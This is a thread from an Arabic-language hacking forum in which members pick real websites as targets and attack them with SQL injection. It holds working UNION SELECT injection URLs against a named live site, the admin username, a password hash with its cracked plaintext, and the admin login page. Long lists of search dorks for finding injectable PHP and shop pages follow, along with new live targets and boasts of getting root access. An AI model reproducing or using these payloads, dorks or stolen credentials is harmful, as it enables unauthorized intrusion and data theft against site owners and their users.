ok
لكن قبل كل شيئ هذا موقع
أنا تأكدتمن أنه مصاب وكذلك وجدت أن عدد الأعمدة 9
لكن لم أجد الأعمدة المصابة
أعتقد أنها في ال source الخاص بالصفحة
و أنا لا أحب أبدا البحث فيه
لذلك سأهديه لكم
وها هو

وهذا به نفس المشكلة وعدد الأعمدة 3
وهو موقع للغناء و المجون
ههههههههههههههههههههههههه
إذا هجوم

اخوي دارك مان

راح اشوف المشكلة ذي

الشبح المرح
============
شكرا أخي
أنا و الله أكره و أمقت البحث في السورس الخاص بالصفحة عن نتيجة الإستعلام
لذا أرجو الأعضاء يستفيدو

هل من جديد ؟؟

[align=center]ممممم كنت عمكتب موضوع...
ممم ما قدرت لا على الاول ولا على الثاني
وواضح انو ما قدر احد يحقنهم يدوي
لذلك راح اجرب الان البرامج
+
انتو ابحثو عن اهداف جديدة انا الان ارجع
+
شكرا دارك على الاهداف

تحياتي[/align]

[align=center]الموقع الاول ما لقيت فيها اي عمود خاص باليوزر او الباس
اما الثاني فيطلع معي اليوزرات هيك
0000
000004
00000006
وهيك اما الباس تبع اليوزر بيطلع عادي بس اليوزر خطا
جاري البحث عن هدف جديد...
تحياتي[/align]

اخواني هل يوجد برنامج اعطيه موقع و هو يبحت عن التغرة لي فيه
متلا اعطيه موقع www.xxx.com و هو يبحت و يجيب لي السكريب او سكرسبتات المصابة ب sql
و انا احقن

المهم كيف تهكرون موقع مستهدف اي ليس عندكم سكريبت المصاب و ترودون ان تحقنوه

ارجو الاجابة عن هده الاسالة و جزاكم الله خيرااا

ممكن اضع هدف بعد اذنكم

هذا هو الهدف الجديد

http://new.katif.net

[align=center]اها فهمت عليك اول شي افتح المتصفح وابحث كالتالي :

كود PHP:

---

www.xxx.com inurl:php 


---

وشو بيطلع معك سكربتات جربهم واحقن
تحياتي

[/align]

جاري المحاولة أخي مع الموقع + هل قمت بحقنه مسبقا يدويا أو فقط قكت بإكتشاف الموقع مصاب فقمت بوضعه ؟؟

نعم اخى تم حقنه مسبقا واستخراج اليوزر والباص

[align=center]تم الحقن...
هذا الباس :

كود PHP:

---

http://www.new.katif.net/text.php?page=-228+union+select+1,2,password,4,5+from+users-- 


---

الباس المشفر : a73daea6d27e7ad59e28f6cc023f61ad
الباس بعد فك التشفير : talgan

يوزر الادمن :

كود PHP:

---

http://www.new.katif.net/text.php?page=-228+union+select+1,2,username,4,5+from+users-- 


---

اليوزر : admin

لوحة الدخول : http://www.new.katif.net/login.php

بالتوفيق
تحياتي



[/align]

احسنت اخى

ياريت اخى دارك موقع فيه فلترة او فوربيدن نشتغل عليه شوية مع الاعضاء

منتظر الهدف الجديد

الله يعطيك العافية اخي ooooo_darkman_ooooo

يعني أنا و الأخ Master vbspiders
إصطدنا عصفورين بحجر واحد
وجاري صيد الثالث

نعم اخى دارك ظهرت نتائج مختلفة للاختلاف قاعدة البيانات

[align=center]هههه الان جربت فعلا احول للغة الانجليزية
وفعلا فتح معي غير موقع هههه
بارك الله فيك اخي ooooo_darkman_ooooo
واصل
تحياتي لك
[/align]

[align=center]medoo_mohamed
شكرااا على الهدف
^_^
تحياتي[/align]

Master vbspiders
===============
الله يبارك فيك خويا
---------------------------------
medoo_mohamed
أعلم هذا أخي
ومازال هناك أخرى ( .....أشك أنها أكثر من ثلاثة قواعد )

New sql injection dork
 

[align=center]دوركات جديدة من نوعها...
بالتوفيق

كود PHP:

---

inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id= 


---

وهذه دوركات لشوبينغ

كود PHP:

---

about.php?cartID=
accinfo.php?cartId=
acclogin.php?cartID=
add.php?bookid=
add_cart.php?num=
addcart.php?
addItem.php
add-to-cart.php?ID=
addToCart.php?idProduct=
addtomylist.php?ProdId=
adminEditProductFields.php?intProdID=
advSearch_h.php?idCategory=
affiliate.php?ID=
affiliate-agreement.cfm?storeid=
affiliates.php?id=
ancillary.php?ID=
archive.php?id=
article.php?id=
phpx?PageID
basket.php?id=
Book.php?bookID=
book_list.php?bookid=
book_view.php?bookid=
BookDetails.php?ID=
browse.php?catid=
browse_item_details.php
Browse_Item_Details.php?Store_Id=
buy.php?
buy.php?bookid=
bycategory.php?id=
cardinfo.php?card=
cart.php?action=
cart.php?cart_id=
cart.php?id=
cart_additem.php?id=
cart_validate.php?id=
cartadd.php?id=
cat.php?iCat=
catalog.php
catalog.php?CatalogID=
catalog_item.php?ID=
catalog_main.php?catid=
category.php
category.php?catid=
category_list.php?id=
categorydisplay.php?catid=
checkout.php?cartid=
checkout.php?UserID=
checkout_confirmed.php?order_id=
checkout1.php?cartid=
comersus_listCategoriesAndProducts.php?idCategory=
comersus_optEmailToFriendForm.php?idProduct=
comersus_optReviewReadExec.php?idProduct=
comersus_viewItem.php?idProduct=
comments_form.php?ID=
contact.php?cartId=
content.php?id=
customerService.php?TextID1=
default.php?catID=
description.php?bookid=
details.php?BookID=
details.php?Press_Release_ID=
details.php?Product_ID=
details.php?Service_ID=
display_item.php?id=
displayproducts.php
downloadTrial.php?intProdID=
emailproduct.php?itemid=
emailToFriend.php?idProduct=
events.php?ID=
faq.php?cartID=
faq_list.php?id=
faqs.php?id=
feedback.php?title=
freedownload.php?bookid=
fullDisplay.php?item=
getbook.php?bookid=
GetItems.php?itemid=
giftDetail.php?id=
help.php?CartId=
home.php?id=
index.php?cart=
index.php?cartID=
index.php?ID=
info.php?ID=
item.php?eid=
item.php?item_id=
item.php?itemid=
item.php?model=
item.php?prodtype=
item.php?shopcd=
item_details.php?catid=
item_list.php?maingroup
item_show.php?code_no=
itemDesc.php?CartId=
itemdetail.php?item=
itemdetails.php?catalogid=
learnmore.php?cartID=
links.php?catid=
list.php?bookid=
List.php?CatID=
listcategoriesandproducts.php?idCategory=
modline.php?id=
myaccount.php?catid=
news.php?id=
order.php?BookID=
order.php?id=
order.php?item_ID=
OrderForm.php?Cart=
page.php?PartID=
payment.php?CartID=
pdetail.php?item_id=
powersearch.php?CartId=
price.php
privacy.php?cartID=
prodbycat.php?intCatalogID=
prodetails.php?prodid=
prodlist.php?catid=
product.php?bookID=
product.php?intProdID=
product_info.php?item_id=
productDetails.php?idProduct=
productDisplay.php
productinfo.php?item=
productlist.php?ViewType=Category&CategoryID=
productpage.php
products.php?ID=
products.php?keyword=
products_category.php?CategoryID=
products_detail.php?CategoryID=
productsByCategory.php?intCatalogID=
prodView.php?idProduct=
promo.php?id=
promotion.php?catid=
pview.php?Item=
resellers.php?idCategory=
results.php?cat=
savecart.php?CartId=
search.php?CartID=
searchcat.php?search_id=
Select_Item.php?id=
Services.php?ID=
shippinginfo.php?CartId=
shop.php?a=
shop.php?action=
shop.php?bookid=
shop.php?cartID=
shop_details.php?prodid=
shopaddtocart.php
shopaddtocart.php?catalogid=
shopbasket.php?bookid=
shopbycategory.php?catid=
shopcart.php?title=
shopcreatorder.php
shopcurrency.php?cid=
shopdc.php?bookid=
shopdisplaycategories.php
shopdisplayproduct.php?catalogid=
shopdisplayproducts.php
shopexd.php
shopexd.php?catalogid=
shopping_basket.php?cartID=
shopprojectlogin.php
shopquery.php?catalogid=
shopremoveitem.php?cartid=
shopreviewadd.php?id=
shopreviewlist.php?id=
ShopSearch.php?CategoryID=
shoptellafriend.php?id=
shopthanks.php
shopwelcome.php?title=
show_item.php?id=
show_item_details.php?item_id=
showbook.php?bookid=
showStore.php?catID=
shprodde.php?SKU=
specials.php?id=
store.php?id=
store_bycat.php?id=
store_listing.php?id=
Store_ViewProducts.php?Cat=
store-details.php?id=
storefront.php?id=
storefronts.php?title=
storeitem.php?item=
StoreRedirect.php?ID=
subcategories.php?id=
tek9.php?
template.php?Action=Item&pid=
topic.php?ID=
tuangou.php?bookid=
type.php?iType=
updatebasket.php?bookid=
updates.php?ID=
view.php?cid=
view_cart.php?title=
view_detail.php?ID=
viewcart.php?CartId=
viewCart.php?userID=
viewCat_h.php?idCategory=
viewevent.php?EventID=
viewitem.php?recor=
viewPrd.php?idcategory=
ViewProduct.php?misc=
voteList.php?item_ID=
whatsnew.php?idCategory=
WsAncillary.php?ID=
WsPages.php?ID= 


---

نريد هدف جديد عن طريق هالدوركات
^_*
تحياتي















[/align]

Master vbspiders
شكرا أخي
الكريم

الهدف الجديد

http://www.adas-fusion.eu

هناك اربع قواعد بيانات لهذا الموقع اعتقد موقع استضافة

جاري بإذن الله

أخي العزيز medoo_mohamed
أعجبتني بعض الأشياء في هذا الهدف
وهي
1- هناك root
2- الموقع خفيف التصفح جدا
3- يحمل علم الإتحاد الأوروبي ههههههههههههههههههههههههههه
جاري المتابعة + هناك طريقة حقن جديدة ههههههههههه أنا أطبقها الآن

ههههههههه فعلا علم الاتحاد الاوروبىلوحدة يغيظ علشان كده نشتغل عليه بذمة شوية هههههههههه

وجود الروت بتاعه عاجبنى بس للاسف باسوورد الروت مش راضى يطلع معرفش ليه

تفضل أخي العزيز

هاته النتائج أنا طلعتها بواسطة طريقة حقن جديدة
هههههههههههههههههههههههههههههههههههههههه

medoo_mohamed
أخي العزيز
أنا طلعت أشياء أخرى بطريقة أخرى
وجاري وضع الإستغلال كامل
------------------------
يوم رمضان هذا و الله مبارك علي
هههههههههههههههههه
تعلمت حوالي 50 شيئ في ظرف 3 ساعات

احسنت اخى على الحقن بطرق جديدة ان شاء الله فى تقدم

وان شاء الله يستفيد الاعضاء اللى يدخلوا الموضوع ونستفاد معاهم

medoo_mohamed
أخي العزيز
لم التالي
1- سحب باسوورد ويوزر الأدمن
2- الأعضاء ال 5 اللي معاه (ربما أدمن حتى هم )
3- إيجاد الهوست و الباس و اليوز للدحول بحساب root
هههههههههههههههههههههههههههههههههههههههههههههههه
الحمد لله
الآن أنا ذاهب في المساء سأعود وتكون النتائج أمامك
لأني مازال ملخمنتش لوحة التحكم + جاري الإطلاع على المواقع اللي على هذا السيرفر قبل عمل أي خطوة
لنا عودة في المساء بعد الإنتهاء من الرياضة
أنا خارج الآن

وانا متواجد الليلة ان شاء الله وفيه اهداف جديدة

ترجع بالسلامة يا غالى

تفضل أخي
الحقنة التي وعدتك بها
وهاته حقنة الحصول على حساب ال root
:Great:

+ أنا تفحصت الموقع
هوفقط المركب على السيرفر المحلي
بالإصاقة إلى موقعين أو ثلاثة تابعة لنفس الموقع

[align=center]ما يجيبها الا رجالها ابطال والله...
واصلو
تحياتي[/align]

[align=center]جاري البحث...
تحياتي[/align]

back to the old targets
and try to injecting it again
that's so easy to do
for can know your mistake
and for learn more about that

شكرا لك أخي